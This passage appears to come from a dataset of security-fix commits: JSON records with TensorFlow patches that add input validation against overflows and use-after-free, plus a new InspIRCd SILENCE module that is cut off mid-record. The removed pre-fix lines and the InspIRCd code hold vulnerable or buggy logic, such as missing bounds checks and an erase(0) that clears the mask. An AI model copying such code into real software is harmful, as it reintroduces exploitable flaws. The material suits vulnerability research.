for (int i = 0; i < splits_vec_size; ++i) {\n+ bool valid_splits = splits_vec(i) >= 0;\n+ valid_splits = valid_splits && (splits_vec(i) <= input_data_size);\n+ OP_REQUIRES(\n+ context, valid_splits,\n+ errors::InvalidArgument(\"Invalid split value \", splits_vec(i),\n+ \", must be in [0,\", input_data_size, \"]\"));\n+ }\n+\n int num_batch_items = splits_vec.size() - 1;\n tensorflow::Tensor* ngrams_splits;\n OP_REQUIRES_OK(", "sections": [{"section": "@@ -19,6 +19,7 @@ limitations under the License.\n #include \"absl/strings/ascii.h\"\n #include \"absl/strings/str_cat.h\"\n #include \"tensorflow/core/framework/op_kernel.h\"\n+#include \"tensorflow/core/platform/errors.h\"\n \n namespace tensorflow {\n namespace text {\n", "related": false}, {"section": "@@ -60,6 +61,18 @@ class StringNGramsOp : public tensorflow::OpKernel {\n OP_REQUIRES_OK(context, context->input(\"data_splits\", &splits));\n const auto& splits_vec = splits->flat();\n \n+ // Validate that the splits are valid indices into data\n+ const int input_data_size = data->flat().size();\n+ const int splits_vec_size = splits_vec.size();\n+ for (int i = 0; i < splits_vec_size; ++i) {\n+ bool valid_splits = splits_vec(i) >= 0;\n+ valid_splits = valid_splits && (splits_vec(i) <= input_data_size);\n+ OP_REQUIRES(\n+ context, valid_splits,\n+ errors::InvalidArgument(\"Invalid split value \", splits_vec(i),\n+ \", must be in [0,\", input_data_size, \"]\"));\n+ }\n+\n int num_batch_items = splits_vec.size() - 1;\n tensorflow::Tensor* ngrams_splits;\n OP_REQUIRES_OK(", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/kernels/linalg/banded_triangular_solve_op.cc", "commit_id": "ca8c013b5e97b1373b3bb1c97ea655e69f31a575", "commit_message": "Prevent integer truncation from 64 to 32 bits.\n\nThe `tensorflow::Shard` functions last argument must be a 2 argument function where both arguments are `int64` (`long long`, 64 bits). However, there are usages where code passes in a function where arguments are `int` or `int32` (32 bits). In these cases, it is possible that the integer truncation would later cause a segfault or other unexpected behavior.\n\nPiperOrigin-RevId: 332560414\nChange-Id: Ief649406babc8d4f60b3e7a9d573cbcc5ce5b767", "patch": "@@ -193,7 +193,8 @@ struct LaunchBatchBandedTriangularSolve {\n \n Shard(worker_threads.num_threads, worker_threads.workers, batch_size,\n cost_per_unit,\n- [&in_x, &in_y, adjoint, lower, &bcast, out](int start, int limit) {\n+ [&in_x, &in_y, adjoint, lower, &bcast, out](int64 start,\n+ int64 limit) {\n SequentialBandedTriangularSolveKernel::Run(\n in_x, in_y, lower, adjoint, bcast, out, start, limit);\n });", "sections": [{"section": "@@ -193,7 +193,8 @@ struct LaunchBatchBandedTriangularSolve {\n \n Shard(worker_threads.num_threads, worker_threads.workers, batch_size,\n cost_per_unit,\n- [&in_x, &in_y, adjoint, lower, &bcast, out](int start, int limit) {\n+ [&in_x, &in_y, adjoint, lower, &bcast, out](int64 start,\n+ int64 limit) {\n SequentialBandedTriangularSolveKernel::Run(\n in_x, in_y, lower, adjoint, bcast, out, start, limit);\n });", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/kernels/count_ops.cc", "commit_id": "3cbb917b4714766030b28eba9fb41bb97ce9ee02", "commit_message": "Fix multiple vulnerabilities in `tf.raw_ops.*CountSparseOutput`.\n\nAlso add tests for these API points, both for the happy paths and for the vulnerable ones.\n\nPiperOrigin-RevId: 332563222\nChange-Id: Ib3b52116a83a134c2e742a7c66e5e956db8fba05", "patch": "@@ -178,10 +178,30 @@ class SparseCount : public OpKernel {\n const Tensor& weights = context->input(3);\n bool use_weights = weights.NumElements() > 0;\n \n+ OP_REQUIRES(context, TensorShapeUtils::IsMatrix(indices.shape()),\n+ errors::InvalidArgument(\n+ \"Input indices must be a 2-dimensional tensor. Got: \",\n+ indices.shape().DebugString()));\n+\n+ if (use_weights) {\n+ OP_REQUIRES(\n+ context, weights.shape() == values.shape(),\n+ errors::InvalidArgument(\n+ \"Weights and values must have the same shape. Weight shape: \",\n+ weights.shape().DebugString(),\n+ \"; values shape: \", values.shape().DebugString()));\n+ }\n+\n bool is_1d = shape.NumElements() == 1;\n int num_batches = is_1d ? 1 : shape.flat()(0);\n int num_values = values.NumElements();\n \n+ OP_REQUIRES(context, num_values == indices.shape().dim_size(0),\n+ errors::InvalidArgument(\n+ \"Number of values must match first dimension of indices.\",\n+ \"Got \", num_values,\n+ \" values, indices shape: \", indices.shape().DebugString()));\n+\n const auto indices_values = indices.matrix();\n const auto values_values = values.flat();\n const auto weight_values = weights.flat();\n@@ -235,12 +255,33 @@ class RaggedCount : public OpKernel {\n bool use_weights = weights.NumElements() > 0;\n bool is_1d = false;\n \n+ if (use_weights) {\n+ OP_REQUIRES(\n+ context, weights.shape() == values.shape(),\n+ errors::InvalidArgument(\n+ \"Weights and values must have the same shape. Weight shape: \",\n+ weights.shape().DebugString(),\n+ \"; values shape: \", values.shape().DebugString()));\n+ }\n+\n const auto splits_values = splits.flat();\n const auto values_values = values.flat();\n const auto weight_values = weights.flat();\n int num_batches = splits.NumElements() - 1;\n int num_values = values.NumElements();\n \n+ OP_REQUIRES(\n+ context, num_batches > 0,\n+ errors::InvalidArgument(\n+ \"Must provide at least 2 elements for the splits argument\"));\n+ OP_REQUIRES(context, splits_values(0) == 0,\n+ errors::InvalidArgument(\"Splits must start with 0, not with \",\n+ splits_values(0)));\n+ OP_REQUIRES(context, splits_values(num_batches) == num_values,\n+ errors::InvalidArgument(\n+ \"Splits must end with the number of values, got \",\n+ splits_values(num_batches), \" instead of \", num_values));\n+\n auto per_batch_counts = BatchedMap(num_batches);\n T max_value = 0;\n int batch_idx = 0;", "sections": [{"section": "@@ -178,10 +178,30 @@ class SparseCount : public OpKernel {\n const Tensor& weights = context->input(3);\n bool use_weights = weights.NumElements() > 0;\n \n+ OP_REQUIRES(context, TensorShapeUtils::IsMatrix(indices.shape()),\n+ errors::InvalidArgument(\n+ \"Input indices must be a 2-dimensional tensor. Got: \",\n+ indices.shape().DebugString()));\n+\n+ if (use_weights) {\n+ OP_REQUIRES(\n+ context, weights.shape() == values.shape(),\n+ errors::InvalidArgument(\n+ \"Weights and values must have the same shape. Weight shape: \",\n+ weights.shape().DebugString(),\n+ \"; values shape: \", values.shape().DebugString()));\n+ }\n+\n bool is_1d = shape.NumElements() == 1;\n int num_batches = is_1d ? 1 : shape.flat()(0);\n int num_values = values.NumElements();\n \n+ OP_REQUIRES(context, num_values == indices.shape().dim_size(0),\n+ errors::InvalidArgument(\n+ \"Number of values must match first dimension of indices.\",\n+ \"Got \", num_values,\n+ \" values, indices shape: \", indices.shape().DebugString()));\n+\n const auto indices_values = indices.matrix();\n const auto values_values = values.flat();\n const auto weight_values = weights.flat();\n", "related": false}, {"section": "@@ -235,12 +255,33 @@ class RaggedCount : public OpKernel {\n bool use_weights = weights.NumElements() > 0;\n bool is_1d = false;\n \n+ if (use_weights) {\n+ OP_REQUIRES(\n+ context, weights.shape() == values.shape(),\n+ errors::InvalidArgument(\n+ \"Weights and values must have the same shape. Weight shape: \",\n+ weights.shape().DebugString(),\n+ \"; values shape: \", values.shape().DebugString()));\n+ }\n+\n const auto splits_values = splits.flat();\n const auto values_values = values.flat();\n const auto weight_values = weights.flat();\n int num_batches = splits.NumElements() - 1;\n int num_values = values.NumElements();\n \n+ OP_REQUIRES(\n+ context, num_batches > 0,\n+ errors::InvalidArgument(\n+ \"Must provide at least 2 elements for the splits argument\"));\n+ OP_REQUIRES(context, splits_values(0) == 0,\n+ errors::InvalidArgument(\"Splits must start with 0, not with \",\n+ splits_values(0)));\n+ OP_REQUIRES(context, splits_values(num_batches) == num_values,\n+ errors::InvalidArgument(\n+ \"Splits must end with the number of values, got \",\n+ splits_values(num_batches), \" instead of \", num_values));\n+\n auto per_batch_counts = BatchedMap(num_batches);\n T max_value = 0;\n int batch_idx = 0;", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/kernels/sparse_fill_empty_rows_op.cc", "commit_id": "390611e0d45c5793c7066110af37c8514e6a6c54", "commit_message": "Fix heap buffer overflow in `tf.raw_ops.SparseFillEmptyRowsGrad`.\n\nAlso add tests as they were lacking\n\nPiperOrigin-RevId: 332566071\nChange-Id: I44277578e26ff5fb3fdb0dcbba6e91b2ec3e7859", "patch": "@@ -236,6 +236,9 @@ class SparseFillEmptyRowsGradOp : public OpKernel {\n context, TensorShapeUtils::IsVector(reverse_index_map_t->shape()),\n errors::InvalidArgument(\"reverse_index_map must be a vector, saw: \",\n reverse_index_map_t->shape().DebugString()));\n+ OP_REQUIRES(context, TensorShapeUtils::IsVector(grad_values_t->shape()),\n+ errors::InvalidArgument(\"grad_values must be a vector, saw: \",\n+ grad_values_t->shape().DebugString()));\n \n const auto reverse_index_map = reverse_index_map_t->vec();\n const auto grad_values = grad_values_t->vec();\n@@ -264,8 +267,13 @@ class SparseFillEmptyRowsGradOp : public OpKernel {\n // Locate the index of the output of the forward prop associated\n // with this location in the input of the forward prop. Copy\n // the gradient into it. Mark it as visited.\n- d_values(i) = grad_values(reverse_index_map(i));\n- visited(reverse_index_map(i)) = true;\n+ int64 reverse_index = reverse_index_map(i);\n+ OP_REQUIRES(\n+ context, 0 <= reverse_index && reverse_index < N_full,\n+ errors::InvalidArgument(\"Elements in reverse index must be in [0, \",\n+ N_full, \") but got \", reverse_index));\n+ d_values(i) = grad_values(reverse_index);\n+ visited(reverse_index) = true;\n }\n for (int j = 0; j < N_full; ++j) {\n // The default value gradient gets the accumulated remainder of", "sections": [{"section": "@@ -236,6 +236,9 @@ class SparseFillEmptyRowsGradOp : public OpKernel {\n context, TensorShapeUtils::IsVector(reverse_index_map_t->shape()),\n errors::InvalidArgument(\"reverse_index_map must be a vector, saw: \",\n reverse_index_map_t->shape().DebugString()));\n+ OP_REQUIRES(context, TensorShapeUtils::IsVector(grad_values_t->shape()),\n+ errors::InvalidArgument(\"grad_values must be a vector, saw: \",\n+ grad_values_t->shape().DebugString()));\n \n const auto reverse_index_map = reverse_index_map_t->vec();\n const auto grad_values = grad_values_t->vec();\n", "related": false}, {"section": "@@ -264,8 +267,13 @@ class SparseFillEmptyRowsGradOp : public OpKernel {\n // Locate the index of the output of the forward prop associated\n // with this location in the input of the forward prop. Copy\n // the gradient into it. Mark it as visited.\n- d_values(i) = grad_values(reverse_index_map(i));\n- visited(reverse_index_map(i)) = true;\n+ int64 reverse_index = reverse_index_map(i);\n+ OP_REQUIRES(\n+ context, 0 <= reverse_index && reverse_index < N_full,\n+ errors::InvalidArgument(\"Elements in reverse index must be in [0, \",\n+ N_full, \") but got \", reverse_index));\n+ d_values(i) = grad_values(reverse_index);\n+ visited(reverse_index) = true;\n }\n for (int j = 0; j < N_full; ++j) {\n // The default value gradient gets the accumulated remainder of", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/python/tfe_wrapper.cc", "commit_id": "22e07fb204386768e5bcbea563641ea11f96ceb8", "commit_message": "Fix multiple vulnerabilities in `tf.experimental.dlpack.to_dlpack`.\n\nWe have a use after free caused by memory coruption, a segmentation fault caused by memory corruption, several memory leaks and an undefined behavior when taking the reference of a nullptr.\n\nPiperOrigin-RevId: 332568894\nChange-Id: Ife0fc05e103b35325094ae5d822ee5fdea764572", "patch": "@@ -1358,9 +1358,16 @@ PYBIND11_MODULE(_pywrap_tfe, m) {\n // DLPack functions\n m.def(\"TFE_ToDlpackCapsule\", [](py::handle& o) {\n PyObject* eager_tensor_pyobject_ptr = o.ptr();\n- TFE_TensorHandle* thandle = EagerTensor_Handle(eager_tensor_pyobject_ptr);\n tensorflow::Safe_TF_StatusPtr status =\n tensorflow::make_safe(TF_NewStatus());\n+\n+ if (!EagerTensor_CheckExact(eager_tensor_pyobject_ptr)) {\n+ status->status = tensorflow::errors::InvalidArgument(\n+ \"The argument to `to_dlpack` must be a TF tensor, not Python object\");\n+ tensorflow::MaybeRaiseRegisteredFromTFStatus(status.get());\n+ }\n+\n+ TFE_TensorHandle* thandle = EagerTensor_Handle(eager_tensor_pyobject_ptr);\n void* dlm_ptr = tensorflow::TFE_HandleToDLPack(thandle, status.get());\n tensorflow::MaybeRaiseRegisteredFromTFStatus(status.get());\n ", "sections": [{"section": "@@ -1358,9 +1358,16 @@ PYBIND11_MODULE(_pywrap_tfe, m) {\n // DLPack functions\n m.def(\"TFE_ToDlpackCapsule\", [](py::handle& o) {\n PyObject* eager_tensor_pyobject_ptr = o.ptr();\n- TFE_TensorHandle* thandle = EagerTensor_Handle(eager_tensor_pyobject_ptr);\n tensorflow::Safe_TF_StatusPtr status =\n tensorflow::make_safe(TF_NewStatus());\n+\n+ if (!EagerTensor_CheckExact(eager_tensor_pyobject_ptr)) {\n+ status->status = tensorflow::errors::InvalidArgument(\n+ \"The argument to `to_dlpack` must be a TF tensor, not Python object\");\n+ tensorflow::MaybeRaiseRegisteredFromTFStatus(status.get());\n+ }\n+\n+ TFE_TensorHandle* thandle = EagerTensor_Handle(eager_tensor_pyobject_ptr);\n void* dlm_ptr = tensorflow::TFE_HandleToDLPack(thandle, status.get());\n tensorflow::MaybeRaiseRegisteredFromTFStatus(status.get());\n ", "related": false}]} +{"owner": "inspircd", "repo": "inspircd", "language": "C++", "file_name": "src/modules/m_silence.cpp", "commit_id": "bcd65de1ec4bb71591ae417fee649d7ecd37cd57", "commit_message": "Add the new implementation of the silence module.\n\nThis module has significant improvements on the previous one:\n * Flags which actually make sense.\n * Better compatibility with other SILENCE implementations.\n * Support for blocking CTCPs.\n * Support for blocking TAGMSGs.", "patch": "@@ -0,0 +1,438 @@\n+/*\n+ * InspIRCd -- Internet Relay Chat Daemon\n+ *\n+ * Copyright (C) 2019 Peter Powell \n+ *\n+ * This file is part of InspIRCd. InspIRCd is free software: you can\n+ * redistribute it and/or modify it under the terms of the GNU General Public\n+ * License as published by the Free Software Foundation, version 2.\n+ *\n+ * This program is distributed in the hope that it will be useful, but WITHOUT\n+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more\n+ * details.\n+ *\n+ * You should have received a copy of the GNU General Public License\n+ * along with this program. If not, see .\n+ */\n+\n+\n+#include \"inspircd.h\"\n+#include \"modules/ctctags.h\"\n+\n+enum\n+{\n+\t// From ircu?\n+\tRPL_SILELIST = 271,\n+\tRPL_ENDOFSILELIST = 272,\n+\tERR_SILELISTFULL = 511,\n+\n+\t// InspIRCd-specific.\n+\tERR_SILENCE = 952\n+};\n+\n+class SilenceEntry\n+{\n+ public:\n+\tenum SilenceFlags\n+\t{\n+\t\t// Does nothing; for internal use only.\n+\t\tSF_NONE = 0,\n+\n+\t\t// Exclude users who match this flags (\"x\").\n+\t\tSF_EXEMPT = 1,\n+\t\n+\t\t// 2, 4, 8, 16 are reserved for future use.\n+\n+\t\t// Matches a NOTICE targeted at a channel (\"n\").\n+\t\tSF_NOTICE_CHANNEL = 32,\n+\n+\t\t// Matches a NOTICE targeted at a user (\"N\").\n+\t\tSF_NOTICE_USER = 64,\n+\n+\t\t// Matches a PRIVMSG targeted at a channel (\"p\").\n+\t\tSF_PRIVMSG_CHANNEL = 128,\n+\n+\t\t// Matches a PRIVMSG targeted at a user (\"P\").\n+\t\tSF_PRIVMSG_USER = 256,\n+\n+\t\t// Matches a TAGMSG targeted at a channel (\"t\").\n+\t\tSF_TAGMSG_CHANNEL = 512,\n+\n+\t\t// Matches a TAGMSG targeted at a user (\"T\").\n+\t\tSF_TAGMSG_USER = 1024,\n+\n+\t\t// Matches a CTCP targeted at a channel (\"c\").\n+\t\tSF_CTCP_CHANNEL = 2048,\n+\n+\t\t// Matches a CTCP targeted at a user (\"C\").\n+\t\tSF_CTCP_USER = 4096,\n+\n+\t\t// Matches an invite to a channel (\"i\").\n+\t\tSF_INVITE = 8192,\n+\n+\t\t// The default if no flags have been specified.\n+\t\tSF_DEFAULT = SF_NOTICE_CHANNEL | SF_NOTICE_USER | SF_PRIVMSG_CHANNEL | SF_PRIVMSG_USER | SF_TAGMSG_CHANNEL |\n+\t\t\tSF_TAGMSG_USER | SF_CTCP_CHANNEL | SF_CTCP_USER | SF_INVITE\n+\t};\n+\n+\t// The flags that this mask is silenced for.\n+\tuint32_t flags;\n+\n+\t// The mask which is silenced (e.g. *!*@example.com).\n+\tstd::string mask;\n+\n+\tSilenceEntry(uint32_t Flags, const std::string& Mask)\n+\t\t: flags(Flags)\n+\t\t, mask(Mask)\n+\t{\n+\t}\n+\n+\tbool operator <(const SilenceEntry& other) const\n+\t{\n+\t\tif (flags & SF_EXEMPT && other.flags & ~SF_EXEMPT)\n+\t\t\treturn true;\n+\t\tif (other.flags & SF_EXEMPT && flags & ~SF_EXEMPT)\n+\t\t\treturn false;\n+\t\tif (flags < other.flags)\n+\t\t\treturn true;\n+\t\tif (other.flags < flags)\n+\t\t\treturn false;\n+\t\treturn mask < other.mask;\n+\t}\n+\n+\t// Converts a flag list to a bitmask.\n+\tstatic bool FlagsToBits(const std::string& flags, uint32_t& out)\n+\t{\n+\t\tout = SF_NONE;\n+\t\tfor (std::string::const_iterator flag = flags.begin(); flag != flags.end(); ++flag)\n+\t\t{\n+\t\t\tswitch (*flag)\n+\t\t\t{\n+\t\t\t\tcase 'C':\n+\t\t\t\t\tout |= SF_CTCP_USER;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'c':\n+\t\t\t\t\tout |= SF_CTCP_CHANNEL;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'd':\n+\t\t\t\t\tout |= SF_DEFAULT;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'i':\n+\t\t\t\t\tout |= SF_INVITE;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'N':\n+\t\t\t\t\tout |= SF_NOTICE_USER;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'n':\n+\t\t\t\t\tout |= SF_NOTICE_CHANNEL;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'P':\n+\t\t\t\t\tout |= SF_PRIVMSG_USER;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'p':\n+\t\t\t\t\tout |= SF_PRIVMSG_CHANNEL;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'T':\n+\t\t\t\t\tout |= SF_TAGMSG_USER;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 't':\n+\t\t\t\t\tout |= SF_TAGMSG_CHANNEL;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'x':\n+\t\t\t\t\tout |= SF_EXEMPT;\n+\t\t\t\t\tbreak;\n+\t\t\t\tdefault:\n+\t\t\t\t\tout = SF_NONE;\n+\t\t\t\t\treturn false;\n+\t\t\t}\n+\t\t}\n+\t\treturn true;\n+\t}\n+\n+\t// Converts a bitmask to a flag list.\n+\tstatic std::string BitsToFlags(uint32_t flags)\n+\t{\n+\t\tstd::string out;\n+\t\tif (flags & SF_CTCP_USER)\n+\t\t\tout.push_back('C');\n+\t\tif (flags & SF_CTCP_CHANNEL)\n+\t\t\tout.push_back('c');\n+\t\tif (flags & SF_INVITE)\n+\t\t\tout.push_back('i');\n+\t\tif (flags & SF_NOTICE_USER)\n+\t\t\tout.push_back('N');\n+\t\tif (flags & SF_NOTICE_CHANNEL)\n+\t\t\tout.push_back('n');\n+\t\tif (flags & SF_PRIVMSG_USER)\n+\t\t\tout.push_back('P');\n+\t\tif (flags & SF_PRIVMSG_CHANNEL)\n+\t\t\tout.push_back('p');\n+\t\tif (flags & SF_TAGMSG_CHANNEL)\n+\t\t\tout.push_back('T');\n+\t\tif (flags & SF_TAGMSG_USER)\n+\t\t\tout.push_back('t');\n+\t\tif (flags & SF_EXEMPT)\n+\t\t\tout.push_back('x');\n+\t\treturn out;\n+\t}\n+};\n+\n+typedef insp::flat_set SilenceList;\n+\n+class SilenceMessage : public ClientProtocol::Message\n+{\n+ public:\n+\tSilenceMessage(const std::string& mask, const std::string& flags)\n+\t\t: ClientProtocol::Message(\"SILENCE\")\n+\t{\n+\t\tPushParam(mask);\n+\t\tPushParamRef(flags);\n+\t}\n+};\n+\n+class CommandSilence : public SplitCommand\n+{\n+ private:\n+\tClientProtocol::EventProvider msgprov;\n+\n+\tCmdResult AddSilence(LocalUser* user, const std::string& mask, uint32_t flags)\n+\t{\n+\t\tSilenceList* list = ext.get(user);\n+\t\tif (list && list->size() > maxsilence)\n+\t\t{\n+\t\t\tuser->WriteNumeric(ERR_SILELISTFULL, mask, SilenceEntry::BitsToFlags(flags), \"Your silence list is full\");\n+\t\t\treturn CMD_FAILURE;\n+\t\t}\n+\t\telse if (!list)\n+\t\t{\n+\t\t\t// There is no list; create it.\n+\t\t\tlist = new SilenceList();\n+\t\t\text.set(user, list);\n+\t\t}\n+\n+\t\tif (!list->insert(SilenceEntry(flags, mask)).second)\n+\t\t{\n+\t\t\tuser->WriteNumeric(ERR_SILENCE, mask, SilenceEntry::BitsToFlags(flags), \"The silence entry you specified already exists\");\n+\t\t\treturn CMD_FAILURE;\n+\t\t}\n+\n+\t\tSilenceMessage msg(\"+\" + mask, SilenceEntry::BitsToFlags(flags));\n+\t\tuser->Send(msgprov, msg);\n+\t\treturn CMD_SUCCESS;\n+\t}\n+\n+\tCmdResult RemoveSilence(LocalUser* user, const std::string& mask, uint32_t flags)\n+\t{\n+\t\tSilenceList* list = ext.get(user);\n+\t\tif (list)\n+\t\t{\n+\t\t\tfor (SilenceList::iterator iter = list->begin(); iter != list->end(); ++iter)\n+\t\t\t{\n+\t\t\t\tif (!irc::equals(iter->mask, mask) || iter->flags != flags)\n+\t\t\t\t\tcontinue;\n+\n+\t\t\t\tlist->erase(iter);\n+\t\t\t\tSilenceMessage msg(\"-\" + mask, SilenceEntry::BitsToFlags(flags));\n+\t\t\t\tuser->Send(msgprov, msg);\n+\t\t\t\treturn CMD_SUCCESS;\n+\t\t\t}\n+\t\t}\n+\n+\t\tuser->WriteNumeric(ERR_SILENCE, mask, SilenceEntry::BitsToFlags(flags), \"The silence entry you specified could not be found\");\n+\t\treturn CMD_FAILURE;\n+\t}\n+\n+\tCmdResult ShowSilenceList(LocalUser* user)\n+\t{\n+\t\tSilenceList* list = ext.get(user);\n+\t\tif (list)\n+\t\t{\n+\t\t\tfor (SilenceList::const_iterator iter = list->begin(); iter != list->end(); ++iter)\n+\t\t\t{\n+\t\t\t\tuser->WriteNumeric(RPL_SILELIST, iter->mask, SilenceEntry::BitsToFlags(iter->flags));\n+\t\t\t}\n+\t\t}\n+\t\tuser->WriteNumeric(RPL_ENDOFSILELIST, \"End of silence list\");\n+\t\treturn CMD_SUCCESS;\n+\t}\n+\n+ public:\n+\tSimpleExtItem ext;\n+\tunsigned int maxsilence;\n+\n+\tCommandSilence(Module* Creator)\n+\t\t: SplitCommand(Creator, \"SILENCE\")\n+\t\t, msgprov(Creator, \"SILENCE\")\n+\t\t, ext(\"silence_list\", ExtensionItem::EXT_USER, Creator)\n+\t{\n+\t\tallow_empty_last_param = false;\n+\t\tsyntax = \"[(+|-) [CcdiNnPpTtx]]\";\n+\t}\n+\n+\tCmdResult HandleLocal(LocalUser* user, const Params& parameters) CXX11_OVERRIDE\n+\t{\n+\t\tif (parameters.empty())\n+\t\t\treturn ShowSilenceList(user);\n+\n+\t\t// If neither add nor remove are specified we default to add.\n+\t\tbool is_remove = parameters[0][0] == '-';\n+\n+\t\t// If a prefix mask has been given then strip it and clean it up.\n+\t\tstd::string mask = parameters[0];\n+\t\tif (mask[0] == '-' || mask[0] == '+')\n+\t\t{\n+\t\t\tmask.erase(0);\n+\t\t\tif (mask.empty())\n+\t\t\t\tmask.assign(\"*\");\n+\t\t\tModeParser::CleanMask(mask);\n+\t\t}\n+\n+\t\t// If the user specified a flags then use that. Otherwise, default to blocking\n+\t\t// all CTCPs, invites, notices, privmsgs, and invites.\n+\t\tuint32_t flags = SilenceEntry::SF_DEFAULT;\n+\t\tif (parameters.size() > 1)\n+\t\t{\n+\t\t\tif (!SilenceEntry::FlagsToBits(parameters[1], flags))\n+\t\t\t{\n+\t\t\t\tuser->WriteNumeric(ERR_SILENCE, mask, parameters[1], \"You specified one or more invalid SILENCE flags\");\n+\t\t\t\treturn CMD_FAILURE;\n+\t\t\t}\n+\t\t\telse if (flags == SilenceEntry::SF_EXEMPT)\n+\t\t\t{\n+\t\t\t\t// The user specified \"x\" with no other flags which does not make sense; add the \"d\" flag.\n+\t\t\t\tflags |= SilenceEntry::SF_DEFAULT;\n+\t\t\t}\n+\t\t}\n+\n+\t\treturn is_remove ? RemoveSilence(user, mask, flags) : AddSilence(user, mask, flags);\n+\t}\n+};\n+\n+class ModuleSilence\n+\t: public Module\n+\t, public CTCTags::EventListener\n+{\n+ private:\n+\tbool exemptuline;\n+\tCommandSilence cmd;\n+\n+\tModResult BuildChannelExempts(User* source, Channel* channel, SilenceEntry::SilenceFlags flag, CUList& exemptions)\n+\t{\n+\t\tconst Channel::MemberMap& members = channel->GetUsers();\n+\t\tfor (Channel::MemberMap::const_iterator member = members.begin(); member != members.end(); ++member)\n+\t\t{\n+\t\t\tif (!CanReceiveMessage(source, member->first, flag))\n+\t\t\t\texemptions.insert(member->first);\n+\t\t}\n+\t\treturn MOD_RES_PASSTHRU;\n+\t}\n+\n+\tbool CanReceiveMessage(User* source, User* target, SilenceEntry::SilenceFlags flag)\n+\t{\n+\t\t// Servers handle their own clients.\n+\t\tif (!IS_LOCAL(target))\n+\t\t\treturn true;\n+\n+\t\tif (exemptuline && source->server->IsULine())\n+\t\t\treturn true;\n+\n+\t\tSilenceList* list = cmd.ext.get(target);\n+\t\tif (!list)\n+\t\t\treturn true;\n+\n+\t\tfor (SilenceList::iterator iter = list->begin(); iter != list->end(); ++iter)\n+\t\t{\n+\t\t\tif (!(iter->flags & flag))\n+\t\t\t\tcontinue;\n+\n+\t\t\tif (InspIRCd::Match(source->GetFullHost(), iter->mask))\n+\t\t\t\treturn iter->flags & SilenceEntry::SF_EXEMPT;\n+\t\t}\n+\n+\t\treturn true;\n+\t}\n+\n+ public:\n+\tModuleSilence()\n+\t\t: CTCTags::EventListener(this)\n+\t\t, cmd(this)\n+\t{\n+\t}\n+\n+\tvoid ReadConfig(ConfigStatus& status) CXX11_OVERRIDE\n+\t{\n+\t\tConfigTag* tag = ServerInstance->Config->ConfValue(\"silence\");\n+\t\texemptuline = tag->getBool(\"exemptuline\", true);\n+\t\tcmd.maxsilence = tag->getUInt(\"maxentries\", 32, 1);\n+\t}\n+\n+\tvoid On005Numeric(std::map& tokens) CXX11_OVERRIDE\n+\t{\n+\t\ttokens[\"ESILENCE\"] = \"CcdiNnPpsTtx\";\n+\t\ttokens[\"SILENCE\"] = ConvToStr(cmd.maxsilence);\n+\t}\n+\n+\tModResult OnUserPreInvite(User* source, User* dest, Channel* channel, time_t timeout) CXX11_OVERRIDE\n+\t{\n+\t\treturn CanReceiveMessage(source, dest, SilenceEntry::SF_INVITE) ? MOD_RES_PASSTHRU : MOD_RES_DENY;\n+\t}\n+\n+\tModResult OnUserPreMessage(User* user, const MessageTarget& target, MessageDetails& details) CXX11_OVERRIDE\n+\t{\n+\t\tstd::string ctcpname;\n+\t\tbool is_ctcp = details.IsCTCP(ctcpname) && !irc::equals(ctcpname, \"ACTION\");\n+\n+\t\tSilenceEntry::SilenceFlags flag = SilenceEntry::SF_NONE;\n+\t\tif (target.type == MessageTarget::TYPE_CHANNEL)\n+\t\t{\n+\t\t\tif (is_ctcp)\n+\t\t\t\tflag = SilenceEntry::SF_CTCP_CHANNEL;\n+\t\t\telse if (details.type == MSG_NOTICE)\n+\t\t\t\tflag = SilenceEntry::SF_NOTICE_CHANNEL;\n+\t\t\telse if (details.type == MSG_PRIVMSG)\n+\t\t\t\tflag = SilenceEntry::SF_PRIVMSG_CHANNEL;\n+\n+\t\t\treturn BuildChannelExempts(user, target.Get(), flag, details.exemptions);\n+\t\t}\n+\n+\t\tif (target.type == MessageTarget::TYPE_USER)\n+\t\t{\n+\t\t\tif (is_ctcp)\n+\t\t\t\tflag = SilenceEntry::SF_CTCP_USER;\n+\t\t\telse if (details.type == MSG_NOTICE)\n+\t\t\t\tflag = SilenceEntry::SF_NOTICE_USER;\n+\t\t\telse if (details.type == MSG_PRIVMSG)\n+\t\t\t\tflag = SilenceEntry::SF_PRIVMSG_USER;\n+\n+\t\t\tif (!CanReceiveMessage(user, target.Get(), flag))\n+\t\t\t{\n+\t\t\t\tdetails.echo_original = true;\n+\t\t\t\treturn MOD_RES_DENY;\n+\t\t\t}\n+\t\t}\n+\n+\t\treturn MOD_RES_PASSTHRU;\n+\t}\n+\n+\tModResult OnUserPreTagMessage(User* user, const MessageTarget& target, CTCTags::TagMessageDetails& details) CXX11_OVERRIDE\n+\t{\n+\t\tif (target.type == MessageTarget::TYPE_CHANNEL)\n+\t\t\treturn BuildChannelExempts(user, target.Get(), SilenceEntry::SF_TAGMSG_CHANNEL, details.exemptions);\n+\n+\t\tif (target.type == MessageTarget::TYPE_USER && !CanReceiveMessage(user, target.Get(), SilenceEntry::SF_TAGMSG_USER))\n+\t\t{\n+\t\t\tdetails.echo_original = true;\n+\t\t\treturn MOD_RES_DENY;\n+\t\t}\n+\n+\t\treturn MOD_RES_PASSTHRU;\n+\t}\n+\n+\tVersion GetVersion() CXX11_OVERRIDE\n+\t{\n+\t\treturn Version(\"Provides support for blocking users with the /SILENCE command\", VF_OPTCOMMON | VF_VENDOR);\n+\t}\n+};\n+\n+MODULE_INIT(ModuleSilence)", "sections": [{"section": "@@ -0,0 +1,438 @@\n+/*\n+ * InspIRCd -- Internet Relay Chat Daemon\n+ 